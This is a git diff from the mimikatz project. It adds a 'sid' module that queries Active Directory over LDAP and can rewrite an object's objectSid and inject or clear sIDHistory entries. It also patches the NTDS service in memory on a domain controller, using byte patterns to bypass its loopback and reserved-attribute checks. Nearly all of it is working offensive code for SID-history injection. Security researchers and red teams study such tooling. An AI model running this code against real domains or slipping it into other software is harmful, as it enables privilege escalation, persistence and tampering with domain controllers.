// for(i = 0; (i < pOsSz) && littleSuccess; i++)
|
||||
// {
|
||||
// littleSuccess = FALSE;
|
||||
//
|
||||
// if(kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, PAGE_EXECUTE_READWRITE, &pOs[i].OldProtect))
|
||||
// {
|
||||
// sAddress.address = pOs[i].Patch.Pattern;
|
||||
// if(!(littleSuccess = kull_m_memory_copy(&pOs[i].AdressOfPatch, &sAddress, pOs[i].Patch.Length)))
|
||||
// PRINT_ERROR_AUTO(L"kull_m_memory_copy");
|
||||
// }
|
||||
// else PRINT_ERROR_AUTO(L"kull_m_memory_protect");
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// if(littleSuccess)
|
||||
// {
|
||||
// kprintf(L"SIDHistory for \'%s\'\n", argv[0]);
|
||||
// for(i = 1; i < (DWORD) argc; i++)
|
||||
// {
|
||||
// kprintf(L" * %s\t", argv[i]);
|
||||
// err = DsAddSidHistoryW(hDs, 0, pDnsInfo->DnsDomainName.Buffer, argv[i], NULL, NULL, pDnsInfo->DnsDomainName.Buffer, argv[0]);
|
||||
// if(err == NO_ERROR)
|
||||
// kprintf(L"OK\n");
|
||||
// else PRINT_ERROR(L"DsAddSidHistory: 0x%08x (%u)!\n", err, err);
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// for(i = 0; i < pOsSz; i++)
|
||||
// {
|
||||
// if(pOs[i].LocalBackup.address)
|
||||
// {
|
||||
// if(!kull_m_memory_copy(&pOs[i].AdressOfPatch, &pOs[i].LocalBackup, pOs[i].Patch.Length))
|
||||
// PRINT_ERROR_AUTO(L"kull_m_memory_copy");
|
||||
// LocalFree(pOs[i].LocalBackup.address);
|
||||
// }
|
||||
// if(pOs[i].OldProtect)
|
||||
// kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, pOs[i].OldProtect, &pOs[i].OldProtect);
|
||||
// }
|
||||
// }
|
||||
// kull_m_memory_close(aProcess.hMemory);
|
||||
// }
|
||||
// CloseHandle(hProcess);
|
||||
// }
|
||||
// else PRINT_ERROR_AUTO(L"OpenProcess");
|
||||
// }
|
||||
// err = DsUnBindW(&hDs);
|
||||
// }
|
||||
// else PRINT_ERROR(L"DsBind: %08x (%u)!\n", err, err);
|
||||
// LsaFreeMemory(pDnsInfo);
|
||||
// }
|
||||
// } else PRINT_ERROR(L"OS not supported (only w2k8r2 & w2k12r2)\n");
|
||||
// } else PRINT_ERROR(L"It requires at least 2 args\n");
|
||||
// return STATUS_SUCCESS;
|
||||
//}
|
||||
//#endif
|
||||
typedef NTSTATUS (NTAPI * PSPACCEPTCREDENTIALS)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
|
||||
typedef FILE * (__cdecl * PFOPEN)(__in_z const char * _Filename, __in_z const char * _Mode);
|
||||
typedef int (__cdecl * PFWPRINTF)(__inout FILE * _File, __in_z __format_string const wchar_t * _Format, ...);
|
||||
|
@ -20,7 +20,7 @@ NTSTATUS kuhl_m_misc_regedit(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_misc_taskmgr(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_misc_ncroutemon(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_misc_detours(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[]);
|
||||
//NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_misc_memssp(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_misc_skeleton(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_misc_compressme(int argc, wchar_t * argv[]);
|
||||
|
445
mimikatz/modules/kuhl_m_sid.c
Normal file
445
mimikatz/modules/kuhl_m_sid.c
Normal file
@ -0,0 +1,445 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : https://creativecommons.org/licenses/by/4.0/
|
||||
*/
|
||||
#include "kuhl_m_sid.h"
|
||||
|
||||
const KUHL_M_C kuhl_m_c_sid[] = {
|
||||
{kuhl_m_sid_lookup, L"lookup", L"Name or SID lookup"},
|
||||
{kuhl_m_sid_query, L"query", L"Query object by SID or name"},
|
||||
#ifdef _M_X64
|
||||
{kuhl_m_sid_modify, L"modify", L"Modify object SID of an object"},
|
||||
{kuhl_m_sid_add, L"add", L"Add a SID to sIDHistory of an object"},
|
||||
{kuhl_m_sid_clear, L"clear", L"Clear sIDHistory of an object"},
|
||||
{kuhl_m_sid_patch, L"patch", L"Patch NTDS Service"},
|
||||
#endif
|
||||
};
|
||||
const KUHL_M kuhl_m_sid = {
|
||||
L"sid", L"Security Identifiers module", NULL,
|
||||
ARRAYSIZE(kuhl_m_c_sid), kuhl_m_c_sid, NULL, NULL
|
||||
};
|
||||
|
||||
NTSTATUS kuhl_m_sid_lookup(int argc, wchar_t * argv[])
|
||||
{
|
||||
PWSTR name, domain;
|
||||
PSID pSid;
|
||||
SID_NAME_USE nameUse;
|
||||
PCWCHAR szName;
|
||||
|
||||
if(kull_m_string_args_byName(argc, argv, L"sid", &szName, NULL))
|
||||
{
|
||||
if(ConvertStringSidToSid(szName, &pSid))
|
||||
{
|
||||
kprintf(L"SID : %s\n", szName);
|
||||
if(IsValidSid(pSid))
|
||||
{
|
||||
if(kull_m_token_getNameDomainFromSID(pSid, &name, &domain, &nameUse))
|
||||
{
|
||||
kprintf(L"Type : %s\n"
|
||||
L"Domain: %s\n"
|
||||
L"Name : %s\n", kull_m_token_getSidNameUse(nameUse), domain, name);
|
||||
LocalFree(name);
|
||||
LocalFree(domain);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"kull_m_token_getNameDomainFromSID");
|
||||
}
|
||||
else PRINT_ERROR(L"Invalid SID\n");
|
||||
LocalFree(pSid);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"ConvertStringSidToSid");
|
||||
}
|
||||
else if(kull_m_string_args_byName(argc, argv, L"name", &szName, NULL))
|
||||
{
|
||||
kprintf(L"Name : %s\n", szName);
|
||||
if(kull_m_token_getSidDomainFromName(szName, &pSid, &domain, &nameUse))
|
||||
{
|
||||
kprintf(L"Type : %s\n"
|
||||
L"Domain: %s\n"
|
||||
L"SID : ", kull_m_token_getSidNameUse(nameUse), domain);
|
||||
kull_m_string_displaySID(pSid);
|
||||
kprintf(L"\n");
|
||||
LocalFree(pSid);
|
||||
LocalFree(domain);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"kull_m_token_getSidDomainFromName");
|
||||
}
|
||||
else PRINT_ERROR(L"/sid or /name is missing\n");
|
||||
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS kuhl_m_sid_query(int argc, wchar_t * argv[])
|
||||
{
|
||||
PLDAP ld;
|
||||
PLDAPMessage pMessage = NULL;
|
||||
if(kuhl_m_sid_quickSearch(argc, argv, FALSE, &ld, &pMessage))
|
||||
{
|
||||
if(pMessage)
|
||||
ldap_msgfree(pMessage);
|
||||
ldap_unbind(ld);
|
||||
}
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
#ifdef _M_X64
|
||||
NTSTATUS kuhl_m_sid_modify(int argc, wchar_t * argv[])
|
||||
{
|
||||
PLDAP ld;
|
||||
DWORD dwErr;
|
||||
PCWCHAR szName;
|
||||
PLDAPMessage pMessage = NULL;
|
||||
BERVAL NewSid;
|
||||
PBERVAL pNewSid[2] = {&NewSid, NULL};
|
||||
LDAPMod Modification = {LDAP_MOD_REPLACE | LDAP_MOD_BVALUES, L"objectSid"};
|
||||
PLDAPMod pModification[2] = {&Modification, NULL};
|
||||
Modification.mod_vals.modv_bvals = pNewSid;
|
||||
|
||||
if(kull_m_string_args_byName(argc, argv, L"new", &szName, NULL))
|
||||
{
|
||||
if(ConvertStringSidToSid(szName, (PSID *) &NewSid.bv_val))
|
||||
{
|
||||
if(IsValidSid((PSID) NewSid.bv_val))
|
||||
{
|
||||
NewSid.bv_len = GetLengthSid((PSID) NewSid.bv_val);
|
||||
if(kuhl_m_sid_quickSearch(argc, argv, TRUE, &ld, &pMessage))
|
||||
{
|
||||
kprintf(L"\n * Will try to modify \'%s\' to \'", Modification.mod_type);
|
||||
kull_m_string_displaySID(NewSid.bv_val);
|
||||
kprintf(L"\': ");
|
||||
dwErr = ldap_modify_s(ld, ldap_get_dn(ld, pMessage), pModification);
|
||||
if(dwErr == LDAP_SUCCESS)
|
||||
kprintf(L"OK!\n");
|
||||
else PRINT_ERROR(L"ldap_modify_s 0x%x (%u)\n", dwErr, dwErr);
|
||||
if(pMessage)
|
||||
ldap_msgfree(pMessage);
|
||||
ldap_unbind(ld);
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR(L"Invalid SID\n");
|
||||
LocalFree(NewSid.bv_val);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"ConvertStringSidToSid");
|
||||
}
|
||||
else PRINT_ERROR(L"/new:sid is needed");
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS kuhl_m_sid_add(int argc, wchar_t * argv[])
|
||||
{
|
||||
PLDAP ld;
|
||||
DWORD dwErr;
|
||||
PCWCHAR szName;
|
||||
PWCHAR domain = NULL;
|
||||
PLDAPMessage pMessage = NULL;
|
||||
BERVAL NewSid;
|
||||
PBERVAL pNewSid[2] = {&NewSid, NULL};
|
||||
LDAPMod Modification = {LDAP_MOD_ADD | LDAP_MOD_BVALUES, L"sIDHistory"};
|
||||
PLDAPMod pModification[2] = {&Modification, NULL};
|
||||
Modification.mod_vals.modv_bvals = pNewSid;
|
||||
|
||||
if(kull_m_string_args_byName(argc, argv, L"new", &szName, NULL))
|
||||
{
|
||||
if(ConvertStringSidToSid(szName, (PSID *) &NewSid.bv_val) || kull_m_token_getSidDomainFromName(szName, (PSID *) &NewSid.bv_val, &domain, NULL))
|
||||
{
|
||||
if(IsValidSid((PSID) NewSid.bv_val))
|
||||
{
|
||||
NewSid.bv_len = GetLengthSid((PSID) NewSid.bv_val);
|
||||
if(kuhl_m_sid_quickSearch(argc, argv, TRUE, &ld, &pMessage))
|
||||
{
|
||||
kprintf(L"\n * Will try to add \'%s\' this new SID:\'", Modification.mod_type);
|
||||
kull_m_string_displaySID(NewSid.bv_val);
|
||||
kprintf(L"\': ");
|
||||
dwErr = ldap_modify_s(ld, ldap_get_dn(ld, pMessage), pModification);
|
||||
if(dwErr == LDAP_SUCCESS)
|
||||
kprintf(L"OK!\n");
|
||||
else PRINT_ERROR(L"ldap_modify_s 0x%x (%u)\n", dwErr, dwErr);
|
||||
if(pMessage)
|
||||
ldap_msgfree(pMessage);
|
||||
ldap_unbind(ld);
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR(L"Invalid SID\n");
|
||||
LocalFree(NewSid.bv_val);
|
||||
if(domain)
|
||||
LocalFree(domain);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"ConvertStringSidToSid / kull_m_token_getSidDomainFromName");
|
||||
}
|
||||
else PRINT_ERROR(L"/new:sid or /new:resolvable_name is needed");
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
NTSTATUS kuhl_m_sid_clear(int argc, wchar_t * argv[])
|
||||
{
|
||||
PLDAP ld;
|
||||
DWORD dwErr;
|
||||
PLDAPMessage pMessage = NULL;
|
||||
|
||||
LDAPMod Modification = {LDAP_MOD_DELETE, L"sIDHistory", NULL};
|
||||
PLDAPMod pModification[2] = {&Modification, NULL};
|
||||
|
||||
if(kuhl_m_sid_quickSearch(argc, argv, TRUE, &ld, &pMessage))
|
||||
{
|
||||
kprintf(L"\n * Will try to clear \'%s\': ", Modification.mod_type);
|
||||
dwErr = ldap_modify_s(ld, ldap_get_dn(ld, pMessage), pModification);
|
||||
if(dwErr == LDAP_SUCCESS)
|
||||
kprintf(L"OK!\n");
|
||||
else if(dwErr == LDAP_NO_SUCH_ATTRIBUTE)
|
||||
PRINT_ERROR(L"No sIDHistory attribute\n");
|
||||
else PRINT_ERROR(L"ldap_modify_s 0x%x (%u)\n", dwErr, dwErr);
|
||||
if(pMessage)
|
||||
ldap_msgfree(pMessage);
|
||||
ldap_unbind(ld);
|
||||
}
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
BYTE PTRN_JMP[] = {0xeb};
|
||||
BYTE PTRN_JMP_NEAR[] = {0x90, 0xe9};
|
||||
BYTE PTRN_6NOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
|
||||
#ifdef _M_X64
|
||||
// LocalModify:SampModifyLoopbackCheck
|
||||
BYTE PTRN_WN52_LoopBackCheck[] = {0x48, 0x8b, 0xd8, 0x48, 0x89, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x07, 0x01, 0x00, 0x00, 0x00, 0x83};
|
||||
BYTE PTRN_WN61_LoopBackCheck[] = {0x48, 0x8b, 0xf8, 0x48, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x41, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x44, 0x89, 0x33, 0x33, 0xdb, 0x39};
|
||||
BYTE PTRN_WN81_LoopBackCheck[] = {0x41, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x45, 0x89, 0x34, 0x24, 0x83};
|
||||
KULL_M_PATCH_GENERIC LoopBackCheckReferences[] = {
|
||||
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WN52_LoopBackCheck), PTRN_WN52_LoopBackCheck}, {sizeof(PTRN_JMP_NEAR), PTRN_JMP_NEAR}, {24}},
|
||||
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WN61_LoopBackCheck), PTRN_WN61_LoopBackCheck}, {sizeof(PTRN_JMP_NEAR), PTRN_JMP_NEAR}, {28}},
|
||||
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WN81_LoopBackCheck), PTRN_WN81_LoopBackCheck}, {sizeof(PTRN_JMP), PTRN_JMP}, {17}},
|
||||
};
|
||||
// ModSetAttsHelperPreProcess:SysModReservedAtt
|
||||
BYTE PTRN_WN52_SysModReservedAtt[] = {0x0f, 0xb7, 0x8c, 0x24, 0xc8, 0x00, 0x00, 0x00};
|
||||
BYTE PTRN_WN61_SysModReservedAtt[] = {0x0f, 0xb7, 0x8c, 0x24, 0x78, 0x01, 0x00, 0x00, 0x4d, 0x8b, 0x6d, 0x00};
|
||||
BYTE PTRN_WN81_SysModReservedAtt[] = {0x0f, 0xb7, 0x8c, 0x24, 0xb8, 0x00, 0x00, 0x00};
|
||||
KULL_M_PATCH_GENERIC SysModReservedAttReferences[] = {
|
||||
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WN52_SysModReservedAtt), PTRN_WN52_SysModReservedAtt}, {sizeof(PTRN_6NOP), PTRN_6NOP}, {-6}},
|
||||
{KULL_M_WIN_BUILD_7, {sizeof(PTRN_WN61_SysModReservedAtt), PTRN_WN61_SysModReservedAtt}, {sizeof(PTRN_6NOP), PTRN_6NOP}, {-6}},
|
||||
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WN81_SysModReservedAtt), PTRN_WN81_SysModReservedAtt}, {sizeof(PTRN_6NOP), PTRN_6NOP}, {-6}},
|
||||
};
|
||||
#elif defined _M_IX86
|
||||
#endif
|
||||
NTSTATUS kuhl_m_sid_patch(int argc, wchar_t * argv[])
|
||||
{
|
||||
PCWSTR service, lib;
|
||||
if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_VISTA)
|
||||
{
|
||||
service = L"samss";
|
||||
lib = L"ntdsa.dll";
|
||||
}
|
||||
else
|
||||
{
|
||||
service = L"ntds";
|
||||
lib = L"ntdsai.dll";
|
||||
}
|
||||
kprintf(L"Patch 1/2: ");
|
||||
if(kull_m_patch_genericProcessOrServiceFromBuild(LoopBackCheckReferences, sizeof(LoopBackCheckReferences), service, lib, TRUE))
|
||||
{
|
||||
kprintf(L"Patch 2/2: ");
|
||||
kull_m_patch_genericProcessOrServiceFromBuild(SysModReservedAttReferences, sizeof(SysModReservedAttReferences), service, lib, TRUE);
|
||||
}
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
#endif
|
||||
void kuhl_m_sid_displayMessage(PLDAP ld, PLDAPMessage pMessage)
|
||||
{
|
||||
PLDAPMessage pEntry;
|
||||
PWCHAR pAttribute, name, domain;
|
||||
BerElement* pBer = NULL;
|
||||
PBERVAL *pBerVal;
|
||||
DWORD i;
|
||||
SID_NAME_USE nameUse;
|
||||
|
||||
for(pEntry = ldap_first_entry(ld, pMessage); pEntry; pEntry = ldap_next_entry(ld, pEntry))
|
||||
{
|
||||
kprintf(L"\n%s\n", ldap_get_dn(ld, pEntry));
|
||||
for(pAttribute = ldap_first_attribute(ld, pEntry, &pBer); pAttribute; pAttribute = ldap_next_attribute(ld, pEntry, pBer))
|
||||
{
|
||||
kprintf(L" %s: ", pAttribute);
|
||||
if(pBerVal = ldap_get_values_len(ld, pEntry, pAttribute))
|
||||
{
|
||||
if(
|
||||
(wcsicmp(pAttribute, L"name") == 0) ||
|
||||
(wcsicmp(pAttribute, L"sAMAccountName") == 0)
|
||||
)
|
||||
{
|
||||
kprintf(L"%*S\n", pBerVal[0]->bv_len, pBerVal[0]->bv_val);
|
||||
}
|
||||
else if((wcsicmp(pAttribute, L"objectSid") == 0))
|
||||
{
|
||||
kull_m_string_displaySID(pBerVal[0]->bv_val);
|
||||
kprintf(L"\n");
|
||||
}
|
||||
else if((wcsicmp(pAttribute, L"objectGUID") == 0))
|
||||
{
|
||||
kull_m_string_displayGUID((LPGUID) pBerVal[0]->bv_val);
|
||||
kprintf(L"\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
for(i = 0; pBerVal[i]; i++)
|
||||
{
|
||||
kprintf(L"\n [%u] ", i);
|
||||
if((wcsicmp(pAttribute, L"sIDHistory") == 0))
|
||||
{
|
||||
kull_m_string_displaySID(pBerVal[i]->bv_val);
|
||||
if(kull_m_token_getNameDomainFromSID(pBerVal[i]->bv_val, &name, &domain, &nameUse))
|
||||
{
|
||||
kprintf(L" ( %s -- %s\\%s )", kull_m_token_getSidNameUse(nameUse), domain, name);
|
||||
LocalFree(name);
|
||||
LocalFree(domain);
|
||||
}
|
||||
}
|
||||
else kull_m_string_wprintf_hex(pBerVal[i]->bv_val, pBerVal[i]->bv_len, 1);
|
||||
}
|
||||
kprintf(L"\n");
|
||||
}
|
||||
ldap_value_free_len(pBerVal);
|
||||
}
|
||||
ldap_memfree(pAttribute);
|
||||
}
|
||||
if(pBer)
|
||||
ber_free(pBer, 0);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL kuhl_m_sid_quickSearch(int argc, wchar_t * argv[], BOOL needUnique, PLDAP *ld, PLDAPMessage *pMessage)
|
||||
{
|
||||
BOOL status = FALSE;
|
||||
DWORD dwErr;
|
||||
PWCHAR myAttrs[] = {L"name", L"sAMAccountName", L"objectSid", L"sIDHistory", L"objectGUID", NULL}, dn, filter;
|
||||
if(filter = kuhl_m_sid_filterFromArgs(argc, argv))
|
||||
{
|
||||
if(kuhl_m_sid_getLdapAndRootDN(ld, &dn))
|
||||
{
|
||||
*pMessage = NULL;
|
||||
dwErr = ldap_search_s(*ld, dn, LDAP_SCOPE_SUBTREE, filter, myAttrs, FALSE, pMessage);
|
||||
if(status = (dwErr == LDAP_SUCCESS))
|
||||
{
|
||||
switch(ldap_count_entries(*ld, *pMessage))
|
||||
{
|
||||
case 0:
|
||||
status = FALSE;
|
||||
PRINT_ERROR(L"No result! - filter was \'%s\'\n", filter);
|
||||
break;
|
||||
case 1:
|
||||
break;
|
||||
default:
|
||||
if(needUnique)
|
||||
{
|
||||
PRINT_ERROR(L"Not unique - Please: don\'t brick your AD! - filter was \'%s\'\n", filter);
|
||||
status = FALSE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR(L"ldap_search_s 0x%x (%u)\n", dwErr, dwErr);
|
||||
|
||||
if(status)
|
||||
kuhl_m_sid_displayMessage(*ld, *pMessage);
|
||||
else
|
||||
{
|
||||
if(*pMessage)
|
||||
ldap_msgfree(*pMessage);
|
||||
ldap_unbind(*ld);
|
||||
}
|
||||
LocalFree(dn);
|
||||
}
|
||||
LocalFree(filter);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
PWCHAR kuhl_m_sid_filterFromArgs(int argc, wchar_t * argv[])
|
||||
{
|
||||
PWCHAR filter = NULL;
|
||||
PCWCHAR szName;
|
||||
DWORD i, sidLen;
|
||||
size_t buffLen;
|
||||
PSID pSid;
|
||||
|
||||
if(kull_m_string_args_byName(argc, argv, L"sam", &szName, NULL))
|
||||
{
|
||||
buffLen = wcslen(L"(sAMAccountName=") + wcslen(szName) + wcslen(L")") + 1;
|
||||
if(filter = (PWCHAR) LocalAlloc(LPTR, buffLen * sizeof(wchar_t)))
|
||||
{
|
||||
if(swprintf_s(filter, buffLen, L"(sAMAccountName=%s)", szName) != (buffLen - 1))
|
||||
filter = (PWCHAR) LocalFree(filter);
|
||||
}
|
||||
}
|
||||
else if(kull_m_string_args_byName(argc, argv, L"sid", &szName, NULL))
|
||||
{
|
||||
if(ConvertStringSidToSid(szName, &pSid))
|
||||
{
|
||||
if(IsValidSid(pSid))
|
||||
{
|
||||
sidLen = GetLengthSid(pSid);
|
||||
buffLen = wcslen(L"(objectSid=") + (sidLen * 3) + wcslen(L")") + 1;
|
||||
if(filter = (PWCHAR) LocalAlloc(LPTR, buffLen * sizeof(wchar_t)))
|
||||
{
|
||||
RtlCopyMemory(filter, L"(objectSid=", sizeof(L"(objectSid="));
|
||||
for(i = 0; i < sidLen; i++)
|
||||
swprintf_s(filter + ARRAYSIZE(L"(objectSid=") - 1 + (i * 3), 3 + 1, L"\\%02x", ((PBYTE) pSid)[i]);
|
||||
filter[buffLen - 2] = L')';
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR(L"Invalid SID\n");
|
||||
LocalFree(pSid);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"ConvertStringSidToSid");
|
||||
}
|
||||
else PRINT_ERROR(L"/sam or /sid to target the account is needed\n");
|
||||
|
||||
return filter;
|
||||
}
|
||||
|
||||
BOOL kuhl_m_sid_getLdapAndRootDN(PLDAP *ld, PWCHAR *rootDn)
|
||||
{
|
||||
BOOL status = FALSE;
|
||||
DWORD dwErr;
|
||||
|
||||
if(*ld = ldap_init(NULL, LDAP_PORT))
|
||||
{
|
||||
if(*rootDn = kuhl_m_sid_getRootDomainNamingContext(*ld))
|
||||
{
|
||||
dwErr = ldap_bind_s(*ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);
|
||||
status = (dwErr == LDAP_SUCCESS);
|
||||
if(!status)
|
||||
{
|
||||
PRINT_ERROR(L"ldap_bind_s 0x%x (%u)\n", dwErr, dwErr);
|
||||
*rootDn = (PWCHAR) LocalFree(*rootDn);
|
||||
}
|
||||
}
|
||||
if(!status)
|
||||
ldap_unbind(*ld);
|
||||
}
|
||||
else PRINT_ERROR(L"ldap_init\n");
|
||||
return status;
|
||||
}
|
||||
|
||||
PWCHAR kuhl_m_sid_getRootDomainNamingContext(LDAP *ld)
|
||||
{
|
||||
DWORD dwErr;
|
||||
PWCHAR rootAttr[] = {L"rootDomainNamingContext", NULL}, ret = NULL;
|
||||
PLDAPMessage pMessage = NULL;
|
||||
PBERVAL *pBerVal;
|
||||
|
||||
dwErr = ldap_search_s(ld, NULL, LDAP_SCOPE_BASE, L"(dn=RootDSE)", rootAttr, FALSE, &pMessage);
|
||||
if(dwErr == LDAP_SUCCESS)
|
||||
{
|
||||
if(ldap_count_entries(ld, pMessage) == 1)
|
||||
{
|
||||
if(pBerVal = ldap_get_values_len(ld, pMessage, rootAttr[0]))
|
||||
{
|
||||
if(ldap_count_values_len(pBerVal) == 1)
|
||||
ret = kull_m_string_qad_ansi_c_to_unicode(pBerVal[0]->bv_val, pBerVal[0]->bv_len);
|
||||
else PRINT_ERROR(L"ldap_get_values_len is NOT 1\n");
|
||||
ldap_value_free_len(pBerVal);
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR(L"ldap_count_entries is NOT 1\n");
|
||||
}
|
||||
else PRINT_ERROR(L"ldap_search_s 0x%x (%u)\n", dwErr, dwErr);
|
||||
if(pMessage)
|
||||
ldap_msgfree(pMessage);
|
||||
return ret;
|
||||
}
|
27
mimikatz/modules/kuhl_m_sid.h
Normal file
27
mimikatz/modules/kuhl_m_sid.h
Normal file
@ -0,0 +1,27 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : https://creativecommons.org/licenses/by/4.0/
|
||||
*/
|
||||
#pragma once
|
||||
#include "kuhl_m.h"
|
||||
#include <Winldap.h>
|
||||
#include <WinBer.h>
|
||||
#include "../modules/kull_m_token.h"
|
||||
#include "../modules/kull_m_service.h"
|
||||
#include "../modules/kull_m_patch.h"
|
||||
|
||||
const KUHL_M kuhl_m_sid;
|
||||
|
||||
NTSTATUS kuhl_m_sid_lookup(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_sid_query(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_sid_modify(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_sid_add(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_sid_clear(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_sid_patch(int argc, wchar_t * argv[]);
|
||||
|
||||
void kuhl_m_sid_displayMessage(PLDAP ld, PLDAPMessage pMessage);
|
||||
BOOL kuhl_m_sid_quickSearch(int argc, wchar_t * argv[], BOOL needUnique, PLDAP *ld, PLDAPMessage *pMessage);
|
||||
PWCHAR kuhl_m_sid_filterFromArgs(int argc, wchar_t * argv[]);
|
||||
BOOL kuhl_m_sid_getLdapAndRootDN(PLDAP *ld, PWCHAR *rootDn);
|
||||
PWCHAR kuhl_m_sid_getRootDomainNamingContext(LDAP *ld);
|
@ -26,6 +26,12 @@ BOOL kull_m_token_getNameDomainFromToken(HANDLE hToken, PWSTR * pName, PWSTR * p
|
||||
return result;
|
||||
}
|
||||
|
||||
PCWCHAR SidNameUses[] = {L"User", L"Group", L"Domain", L"Alias", L"WellKnownGroup", L"DeletedAccount", L"Invalid", L"Unknown", L"Computer", L"Label"};
|
||||
PCWCHAR kull_m_token_getSidNameUse(SID_NAME_USE SidNameUse)
|
||||
{
|
||||
return (SidNameUse > 0 && SidNameUse <= SidTypeLabel) ? SidNameUses[SidNameUse - 1] : L"unk!";
|
||||
}
|
||||
|
||||
BOOL kull_m_token_getNameDomainFromSID(PSID pSid, PWSTR * pName, PWSTR * pDomain, PSID_NAME_USE pSidNameUse)
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
@ -50,6 +56,30 @@ BOOL kull_m_token_getNameDomainFromSID(PSID pSid, PWSTR * pName, PWSTR * pDomain
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL kull_m_token_getSidDomainFromName(PCWSTR pName, PSID * pSid, PWSTR * pDomain, PSID_NAME_USE pSidNameUse)
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
SID_NAME_USE sidNameUse;
|
||||
PSID_NAME_USE peUse = pSidNameUse ? pSidNameUse : &sidNameUse;
|
||||
DWORD cbSid = 0, cchReferencedDomainName = 0;
|
||||
|
||||
if(!LookupAccountName(NULL, pName, NULL, &cbSid, NULL, &cchReferencedDomainName, peUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
|
||||
{
|
||||
if(*pSid = (PSID) LocalAlloc(LPTR, cbSid * sizeof(wchar_t)))
|
||||
{
|
||||
if(*pDomain = (PWSTR) LocalAlloc(LPTR, cchReferencedDomainName * sizeof(wchar_t)))
|
||||
{
|
||||
result = LookupAccountName(NULL, pName, *pSid, &cbSid, *pDomain, &cchReferencedDomainName, peUse);
|
||||
if(!result)
|
||||
*pDomain = (PWSTR) LocalFree(*pDomain);
|
||||
}
|
||||
if(!result)
|
||||
*pSid = (PSID) LocalFree(*pSid);
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL kull_m_token_getTokens(PKULL_M_TOKEN_ENUM_CALLBACK callBack, PVOID pvArg)
|
||||
{
|
||||
BOOL status = FALSE;
|
||||
|
@ -21,4 +21,6 @@ BOOL CALLBACK kull_m_token_getTokens_process_callback(PSYSTEM_PROCESS_INFORMATIO
|
||||
BOOL CALLBACK kull_m_token_getTokens_handles_callback(HANDLE handle, PSYSTEM_HANDLE pSystemHandle, PVOID pvArg);
|
||||
|
||||
BOOL kull_m_token_getNameDomainFromToken(HANDLE hToken, PWSTR * pName, PWSTR * pDomain, PWSTR * pSid, PSID_NAME_USE pSidNameUse);
|
||||
BOOL kull_m_token_getNameDomainFromSID(PSID pSid, PWSTR * pName, PWSTR * pDomain, PSID_NAME_USE pSidNameUse);
|
||||
PCWCHAR kull_m_token_getSidNameUse(SID_NAME_USE SidNameUse);
|
||||
BOOL kull_m_token_getNameDomainFromSID(PSID pSid, PWSTR * pName, PWSTR * pDomain, PSID_NAME_USE pSidNameUse);
|
||||
BOOL kull_m_token_getSidDomainFromName(PCWSTR pName, PSID * pSid, PWSTR * pDomain, PSID_NAME_USE pSidNameUse);
|
Loading…
Reference in New Issue
Block a user